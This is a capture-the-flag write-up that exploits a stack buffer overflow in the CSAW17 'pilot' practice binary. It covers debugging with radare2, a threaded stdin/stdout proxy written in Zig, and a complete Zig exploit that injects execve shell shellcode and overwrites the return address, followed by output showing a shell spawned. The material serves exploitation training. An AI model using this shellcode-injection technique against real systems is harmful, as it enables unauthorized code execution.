|---------------------------------------------------------------------------|
|-------------------------Exploit development with zig----------------------|
|-------------------------------and nightmare-------------------------------|
|---------------------------------------------------------------------------|
26 April 2021
--[Table of content
1. Module 06-bof-shellcode Challenge 1 Csaw17 pilot
2. Threaded programming and extending the library
3. Completing the challenge
4. Code
Challenge 1- Csaw17 pilot
----------------------------------------------------------------------
Lets begin with the routine and analyze the binary and check what mitigations it has
❯ file pilot
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
❯ pwn checksec pilot
[*] '/home/void/nightmare/modules/06-bof_shellcode/csaw17_pilot/pilot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
This is good, it has nearly no mitigations, if we can just overflow the
stack, we can execute our own code..
Lets run it and see what it does.
❯ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffcb626f5b0
[*]Command:lslsl
❯ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffcf12b3820
[*]Command:
[*]There are no commands....
[*]Mission Failed....
It prints some useless data and then prints a value which changes every
equation. This doesnt make sense, There is no ASLR [Address Space Layout Randomization]
soo no value should choose except stack and stuff like that. Its
probably some address in stack.
Let's fire up radare2 and decompile main function
undefined8 main(void)
{
undefined8 uVar1;
int64_t iVar2;
int64_t var_20h;
sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
sym.imp.setvbuf(_reloc.stdin, 0, 2, 0);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]Welcome DropShip Pilot...");
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]I am your assitant A.I....");
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]I will be guiding you through the tutorial....");
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]As a first step, lets learn how to land at the designated location....");
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout,
"[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics..."
);
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]Good Luck Pilot!....");
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]Location:");
uVar1 = sym.imp.std::ostream::operator___void_const_(uVar1, &var_20h, uVar1);
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]Command:");
iVar2 = sym.imp.read(0, &var_20h, 0x40);
if (iVar2 < 5) {
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]There are no commands....");
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
(reloc.std::cout, "[*]Mission Failed....");
sym.imp.std::ostream::operator___std::ostream____std::ostream__
(uVar1,
sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
);
uVar1 = 0xffffffff;
} else {
uVar1 = 0;
}
return uVar1;
}
Holy hell! None of this makes any sense! I have never seen this madness
anywhere [im a beginner BUT STILL!]. This is going to be bad, i can
sense it...
Okay lets go through the code and see what it means.
It looks like C++, but i am not able to understand what it is trying to
do. Lets go to the windowed[i hope thats the name] mode using 'v!'
debug this. Using ":" you can go in command mode and make breakpoints
and do other things.I will break at the 'leave' and let it
run. Maybe then i will see what that printed value is.
It says "Location:0x7ffcfb6b7630" and when i look at this address in
memory, it is where my input starts! This is nice.
[0x7f3bbb1fa050]> dc
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffe1e21c860
[*]Command:AAAABBBBCCCCDDDD
[0x00400b34]> px @ 0x7ffe1e21c860
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffe1e21c860 4141 4141 4242 4242 4343 4343 4444 4444 AAAABBBBCCCCDDDD
0x7ffe1e21c870 0ac9 211e fe7f 0000 0000 0000 0000 0000 ..!.............
0x7ffe1e21c880 900b 4000 0000 0000 0abe ddba 3b7f 0000 ..@.........;...
0x7ffe1e21c890 78c9 211e fe7f 0000 bf11 0000 0100 0000 x.!.............
0x7ffe1e21c8a0 a609 4000 0000 0000 c034 11bb 3b7f 0000 ..@......4..;...
0x7ffe1e21c8b0 0000 0000 0000 0000 4ad8 0c5b 6b82 fd3b ........J..[k..;
0x7ffe1e21c8c0 b008 4000 0000 0000 0000 0000 0000 0000 ..@.............
0x7ffe1e21c8d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffe1e21c8e0 4ad8 0cdd a8be 01c4 4ad8 aa37 50f7 8ac5 J.......J..7P...
0x7ffe1e21c8f0 0000 0000 3b7f 0000 0000 0000 0000 0000 ....;...........
0x7ffe1e21c900 0000 0000 0000 0000 0100 0000 0000 0000 ................
0x7ffe1e21c910 78c9 211e fe7f 0000 88c9 211e fe7f 0000 x.!.......!.....
0x7ffe1e21c920 a051 22bb 3b7f 0000 0000 0000 0000 0000 .Q".;...........
0x7ffe1e21c930 0000 0000 0000 0000 b008 4000 0000 0000 ..........@.....
0x7ffe1e21c940 70c9 211e fe7f 0000 0000 0000 0000 0000 p.!.............
0x7ffe1e21c950 0000 0000 0000 0000 d908 4000 0000 0000 ..........@.....
Okay okay... this is good, this is good.
Now we have cleared this, we need to check if we have a overflow. Going
through the code, i can see that it reads 0x40 bytes in a variable
called var_20h.
iVar2 = sym.imp.read(0, &var_20h, 0x40);
soo we are reading 0x40=64 bytes into a buffer of 0x20=32 bytes, giving
us 32 bytes overflow.
Lets look at stack again and plan our exploit
+--------------------+<--------------------------------
| |<-+ |
| | | |
| | | |
| | | |
| Our playground | | |
| | | 0x20 bytes |
| | | |
| | | |
| | | |
| | | |
|--------------------|<-+ |
| | | |
| SAVED RBP | | 0x08 bytes |
| | | |
|--------------------|<-+ |
| | |
| Return Addr |<---overwrite it to this -------+
| |
+--------------------+
Soo what is going to happen now is that when we overwrite the return
address with the address given to us, we will jump to the start of
input, where will be our shellcode.
This is a good plan.
But we have a problem. We need to read the process's stdout and then
get the hex number, meaning that the stdout_behavior will be .Pipes,
soo we will have to write our own function that would act as a proxy and
send our input to it and get its output and print it.
Threaded programming and extending the library
----------------------------------------------------------------------
Lets first start by doing a naive implementation, it will just read our input
send it to the process and then print its stdout.
pub fn interactive(
proc: *std.ChildProcess,
alloc: *std.mem.Allocator,
delimiter: u8,
size: usize,
) anyerror!void {
while(true){
var a =(try std.io.getStdIn().reader().readUntilDelimiterOrEofAlloc(alloc, delimiter,size)) orelse "\n";
try proc.stdin.?.writer().print("{s}\n",.{a});
var b:[comptime std.math.maxInt(u17)]:u8=undefined; // why comptime? just for safety. and why u17? to piss people off
var k = try proc.stdin.?.reader.read(b[0..]);
try std.io.getStdOut().writer().print("{s}",.{b[0..k]});
}
}
This looks good, but you might have noticed one problem, what if we return an error??
we would just hang...thats bad.
There is one solution of it, A threaded version of this thing. Lets plan it
Main function Thread 1
+----------------+ +-----------------+
| while true | | while true |
| read input | | get the mutex |
| get the mutex | | write to stdout |
| write to stdin | | release mutex |
| release mutex | | |
+----------------+ +-----------------+
A critical section is a program section, in where multiple threads can access shared ressources.
A mutex guarantees mutual exclusive access to a critical section after it for the current thread.
Thus only one thread can get the mutex and modify the shared data.
This stops data race and makes program safer
lets write some code...
const context = struct {
mutex: *std.Thread.Mutex,
proc: *std.ChildProcess,
};
pub fn interactive(
proc: *std.ChildProcess,
alloc: *std.mem.Allocator,
delimiter: u8,
size: usize,
) anyerror!void {
var mutex = std.Thread.Mutex{};
var ctx = context{ .mutex = &mutex, .proc = proc };
var t1 = try std.Thread.spawn(thread1, ctx);
try mainLoop(&mutex, proc, alloc, delimiter, size);
t1.wait();
}
fn thread1(ctx: context) !void {
while (true) {
var z: [std.math.maxInt(u17)]u8 = undefined;
var len = try ctx.proc.stdout.?.reader().read(z[0..]);
var hold = std.Thread.Mutex.acquire(ctx.mutex);
defer hold.release();
try std.io.getStdOut().writer().print("{s}", .{z[0..len]});
}
}
fn mainLoop(mutex: *std.Thread.Mutex, proc: *std.ChildProcess, alloc: *std.mem.Allocator, delimiter: u8, max: usize) !void {
while (true) {
var c = (try std.io.getStdIn().reader().readUntilDelimiterOrEofAlloc(alloc, delimiter, max)) orelse "\n";
var held = std.Thread.Mutex.acquire(mutex);
defer held.release();
try proc.stdin.?.writer().print("{s}\n", .{c[0..]});
}
}
Here we have 3 functions, interactive, thread1 and mainLoop. Lets explore all 3 of them
1. interactive() --> Interactive is the function we will call. It will initialize
a variable ctx, which is a context struct and then spawn a thread,
passing it the function to spawn and the struct. Then it will call
the main loop and execute 't1.wait()'. [every thread declaration needs
a call to wait()].
2. thread1() --> thread1 is a simple function, in the while(true) loop, it will create
a variable array z and then it will read from the stdout of process.
Now it has something in z, soo now it will acquire the mutex,
print everything and then release it.
3. mainLoop --> its a simple function, it will forever try to read input, acquire the mutex
write everything to the proc's stdin, release the mutex and continue.
If no value is found, then it will send a '\n'.
Completing the challenge
----------------------------------------------------------------------
Now we have everything ready. Its time to get a shellcode and proceed with the exploit.
There is a website called shell-storm, we can go there and get a shellcode [make sure its smol,
smaller than 0x18 bytes]
Now we also need to skip till the address and read it. there is a function called "skipUntilDelimiterOrEof"
we will be using it to skip till ':' and then "readUntilDelimiterOrEof".
Now we will use a arraylist and append the shellcode
now we have shellcode ready, its time to append some padding, we need to overwrite the address.
Now we will calculate the padding by subtracting the length of the shellcode and 0x28.
And we have successfully overwrote the saved rbp address. Now just append the leaked address,
send it to the process, and run interactive().
Lets see it working
❯ zig run shit.zig
Trying to open: ./pilotinfo:
0x7ffe30c2c3b0
info:
7ffe30c2c3b0
140729716491184
1�H�ѝ��Ќ��H����;WT_0000000000000000
���0�
1�H�ѝ��Ќ��H����;WT_0000000000000000���0�
1�H�ѝ��Ќ��H����;WT_0000000000000000���0�
1�H�ѝ��Ќ��H����;WT_0000000000000000���0�
[*]Command:ls
exploit.py
hell
packing.zig
pilot
pipes.zig
readme.md
shit
shit.zig
zig-cache
whomai?
sh: 2: whomai?: not found
whoami
void
DIS WORKED
sh: 4: DIS: not found
shut up
sh: 5: shut: not found
^C
HELL YEAH!! IT WORKED!
I had never worked with threaded programming before soo i was scared of this
because words like 'Mutex' and 'Semaphore' are scary for me. But the people in
Zig discord server are great and they helped me through it. Mind you, i was stuck
in this problem for 14+ days. 14+ DAYS!!
Code
----------------------------------------------------------------------
Exploit Code:
const std = @import("std");
const pipes = @import("./pipes.zig");
const pack = @import("./packing.zig");
pub fn main() anyerror!void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
var alloc = &arena.allocator;
defer arena.deinit();
var proc = try pipes.openLocal(&[_][]const u8{"./pilot"}, alloc);
defer _ = proc.deinit();
try proc.spawn();
//defer try proc.kill();
try proc.stdout.?.reader().skipUntilDelimiterOrEof(':');
var leak = (try proc.stdout.?.reader().readUntilDelimiterOrEofAlloc(
alloc,
'\n',
999999999999,
)).?;
var payload = std.ArrayList(u8).init(alloc);
std.log.info("\n{s}\n", .{leak});
std.log.info("\n{s}\n", .{leak[2..]});
defer payload.deinit();
try payload.appendSlice("\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05");
try payload.appendNTimes('0', (0x28 - payload.items.len)); //(;
var s: [8]u8 = undefined;
var leaked = try std.fmt.parseInt(u64, leak[0..], 0);
std.debug.print("{any}\n", .{leaked});
std.debug.print("{s}\n", .{payload.items});
pack.padding(u64, s[0..], leaked, std.builtin.Endian.Little);
//var append = pack.packing([8]u8, leaked, u64);
try payload.appendSlice(s[0..]);
std.debug.print("{s}\n", .{s});
std.debug.print("{s}\n", .{payload.items});
//try payload.appendSlice(leaked[0..]);
std.debug.print("{s}\n", .{payload.items});
try pipes.LocalSendArraylist(proc, payload);
std.debug.print("{s}\n", .{payload.items});
try pipes.interactive(proc, alloc, '\n', 9000000000);
}
The code for the library is available in the gitlab repository pwn